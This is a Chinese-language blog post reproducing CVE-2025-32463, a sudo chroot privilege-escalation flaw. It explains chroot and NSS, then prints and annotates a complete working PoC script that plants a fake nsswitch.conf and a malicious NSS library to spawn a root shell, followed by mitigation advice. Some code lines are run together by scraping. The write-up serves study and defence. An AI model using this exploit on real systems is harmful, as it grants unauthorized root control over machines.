当前位置: 首页 > news >正文

CVE-2025-32463复现

目录

  • 背景知识
    • chroot环境
    • chroot 环境的具体表现
    • Name Service Switch (NSS)机制
    • 漏洞简介
  • 环境搭建
  • 复现
    • POC分析
  • 防御方法
  • 参考文章:


背景知识

chroot环境

(全称“change root”)是一种Unix/Linux系统中的隔离技术,其核心作用是将进程的根目录(/)切换到系统中的一个子目录,使该进程只能访问这个子目录内的文件和资源,无法突破到外部真实的文件系统。

chroot 环境的具体表现

  1. 根目录被“替换”
    进入chroot环境后,进程看到的/(根目录)实际上是原系统中的一个普通子目录(例如/tmp/mychroot)。例如:

    • 原系统中的/tmp/mychroot/etc/passwd,在 chroot 环境中会被视为/etc/passwd
    • 原系统中的/usr/bin等路径,在chroot环境中不可见(除非手动复制到子目录中)。
  2. 资源隔离
    进程无法访问chroot目录之外的文件、设备或系统资源(如网络配置、其他分区等),仿佛运行在一个“迷你独立系统”中。例如:

    • 尝试访问/proc(系统进程信息)或/dev(设备文件)时,只能看到chroot目录内手动复制的部分内容。
  3. 权限限制
    即使进程在chroot环境中拥有“root权限”,其操作范围也被限制在子目录内,无法影响外部真实系统(正常情况下)。

Name Service Switch (NSS)机制

NSS是Linux用于管理各种系统数据库(用户、组、主机等)的框架。关键点:

  • 配置文件/etc/nsswitch.conf指定各数据库的查询顺序和方式
  • 标准格式:数据库名: 服务1 [动作] 服务2…
  • 例如passwd: files nis表示先查本地文件,再查Network Information Service
  • 共享库命名规则为libnss_<服务名>.so.2

漏洞简介

CVE-2025-32463是Linux系统中Sudo工具的高危本地权限提升漏洞,主要影响1.9.14至1.9.17版本。该漏洞源于Sudo的“-R(–chroot)”选项在实现上存在缺陷,即便攻击者是本地无特权用户且未配置任何sudoers权限规则,也能利用这一漏洞:通过构造恶意目录,并在其中伪造/etc/nsswitch.conf文件,诱导Sudo在处理chroot操作时加载恶意动态库,最终以root权限执行任意代码。目前,Sudo 1.9.17p1版本已修复此漏洞,修复方式为回退1.9.14版本中与chroot功能相关的修改,并弃用了“–chroot”功能,以此彻底消除该安全隐患。
在这里插入图片描述

-R选项的具体功能

  1. 切换根目录
    使用-R选项后,Sudo会将指定路径作为新的根目录(/),执行的命令只能访问该路径下的文件系统层级。例如:

    sudo -R /path/to/chroot /bin/ls
    

    此命令会在/path/to/chroot目录为根的环境中执行ls,显示的是/path/to/chroot内部的文件列表。

  2. 安全隔离
    常用于需要限制程序访问范围的场景,如测试不受信任的代码、运行特权服务(如Web服务器)时降低风险。

  3. 系统维护
    在修复系统引导问题或文件系统损坏时,可以通过chroot环境访问和修改受损系统。

环境搭建

直接用平时常用的kali即可,我安装的是2025版本的kali,应该有该漏洞
在这里插入图片描述
版本符合漏洞影响范围

复现

利用国外大佬的Poc复现即可:

https://github.com/pr0v3rbs/CVE-2025-32463_chwoot

克隆poc到kali上面,进入poc目录。根据poc描述检查是否存在漏洞
在这里插入图片描述
返回了sudo: woot: No such file or directory,说明存在漏洞

如果是Windows克隆后复制到Linux上面,可能执行不了,这时候尝试chmod +x给脚本可执行权限,还有就是记得把所有文件换行转换为Linux格式的换行find /path/to/your/folder -type f -exec sed -i 's/\r$//' {} +

然后直接执行脚本就得了。
在这里插入图片描述

POC分析

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1if [ $# -eq 0 ]; then# If no command is provided, default to an interactive root shell.CMD="/bin/bash"
else# Otherwise, use the provided arguments as the command to execute.CMD="$@"
fi# Escape the command to safely include it in a C string literal.
# This handles backslashes and double quotes.
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>__attribute__((constructor)) void woot(void) {setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOFmkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.cecho "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
  1. 环境准备
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

创建临时工作目录,确保后续操作不会污染系统其他位置。

  1. 命令处理
if [ $# -eq 0 ]; thenCMD="/bin/bash"
elseCMD="$@"
fi

$#:表示传递给脚本的参数个数
如果用户没有提供参数,默认执行交互式bash shell;否则执行用户指定的命令。
例如:./sudo-chwoot.sh whoami会执行whoami命令

  1. 生成恶意共享库
__attribute__((constructor)) void woot(void) {setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}

这是一段C代码,利用GCC的constructor属性,使指定函数在共享库加载时自动执行。其功能是将当前进程的用户ID和组ID都设置为0(即root),然后切换到根目录并执行用户指定的命令,-c表示执行字符串形式的命令。

  1. 配置NSS欺骗
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc

创建一个伪造的chroot环境:

  • mkdir -p:递归创建目录结构
  • nsswitch.conf是Name Service Switch配置文件,这里将密码数据库查询重定向到我们的恶意库,正常来说passwd: files systemd会调用libnss_files.so.2和libnss_systemd.so.2这些库,而这个异常的会调用libnss_/woot1337.so.2
  • 复制真实的group文件以避免命令执行时因缺少group信息而失败
  1. 编译恶意库并执行攻击
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
sudo -R woot woot
  • shared:生成共享库
  • fPIC:生成位置无关代码(共享库必需)
  • Wl,-init,woot:通过链接器指定woot函数为初始化函数
  • 输出为libnss_/woot1337.so.2:符合NSS模块命名规范libnss_*.so.2
  • sudo -R woot woot是关键攻击命令:-R导致Sudo加载我们控制的nsswitch.conf。第一个woot是chroot目录,第二个woot是要执行的命令(实际会被忽略,因为恶意库已接管)
  1. 攻击原理
    当sudo执行-R选项时,它会切换到指定的chroot环境并尝试解析用户信息。由于我们修改了nsswitch.conf,sudo会加载我们的恶意库woot1337.so.2,触发构造函数,将当前进程权限提升为root,然后执行用户命令。

防御方法

  1. 立即更新Sudo版本:将Sudo升级至1.9.17p1及以上版本,该版本已通过回退存在问题的代码并弃用--chroot功能修复漏洞,可通过系统包管理器(如apt)执行更新:sudo apt update && sudo apt upgrade sudo

  2. 临时禁用--chroot功能:若暂时无法升级,可编辑Sudo配置文件(/etc/sudoers,需用visudo命令),在相关规则中限制-R/--chroot选项的使用,或直接移除包含该选项的配置,阻断漏洞利用路径。

  3. 限制文件权限:严格控制系统中/etc/nsswitch.conf及相关目录的读写权限,防止非授权用户篡改或创建恶意文件,减少攻击者构造利用环境的可能性。

  4. 监控异常操作:通过日志审计工具(如auditd)监控涉及sudo命令、chroot操作及系统库文件加载的异常行为,及时发现潜在攻击尝试。


参考文章:

https://mp.weixin.qq.com/s/mZdIwl9h8tN6J5FNDUl2IQ
https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot

http://www.dtcms.com/a/270545.html

相关文章:

  • ✍️ Python 批量设置 Word 文档多级字体样式(标题/正文/名称/小节)
  • PHP 基于模板动态生成 Word 文档:图片 + 表格数据填充全方案(PHPOffice 实战)
  • 使用python 将多个docx文件合并为一个word
  • 【Unity】MiniGame编辑器小游戏(十)连连看【Link】
  • 实时地震分析:AI+Python如何帮我们提前感知大地的怒吼?
  • 使用 Docker 搭建 Go Web 应用开发环境——AI教你学Docker
  • NO.1数据结构绪论|数据结构|逻辑结构|物理结构|算法|算法的度量
  • 从救火到赋能:运维的职责演进与云原生时代的未来图景
  • 聚铭安全管家平台2.0实战解码 | 安服篇(二):无人值守自动化封禁
  • 【Unity】MiniGame编辑器小游戏(十一)消消乐【Crush】
  • 本地Qwen中医问诊小程序系统开发
  • 【目标检测之Ultralytics预测框颜色修改】
  • OpenCV哈希算法------Marr-Hildreth 边缘检测哈希算法
  • 基于DeepSeek构建的openGauss AI智能优化助手:数据库性能提升新利器
  • 微软 Bluetooth LE Explorer 实用工具的详细使用分析
  • 【DOCKER】-3 数据持久化
  • OpenCV图像增强秘籍:高通滤波与特效艺术
  • Web 前端框架选型:React、Vue 和 Angular 的对比与实践
  • PiscTrace深蹲计数功能实现:基于 YOLO-Pose 和人体关键点分析
  • 【python处理excel】B列单元格中的内容都是回车换行的,把这些信息拆成多行多列,并且把A列对应的信息带过去。
  • A模块 系统与网络安全 第四门课 弹性交换网络-2
  • C#正则表达式全面详解:从基础到高级应用
  • 跨部门协作难以对齐项目进度,如何促进协同
  • Rust #[] 语法
  • PHP语法高级篇(一):日期时间处理和包含文件
  • 【系统与工具】Linux——Linux简介、安装、简单使用
  • 详解Kafka重平衡机制详解
  • MySQL8.0基于GTID的组复制分布式集群的环境部署
  • mysql互为主从失效,重新同步
  • 超越公有云:在裸金属服务器上构建低成本、高性能的静态资源服务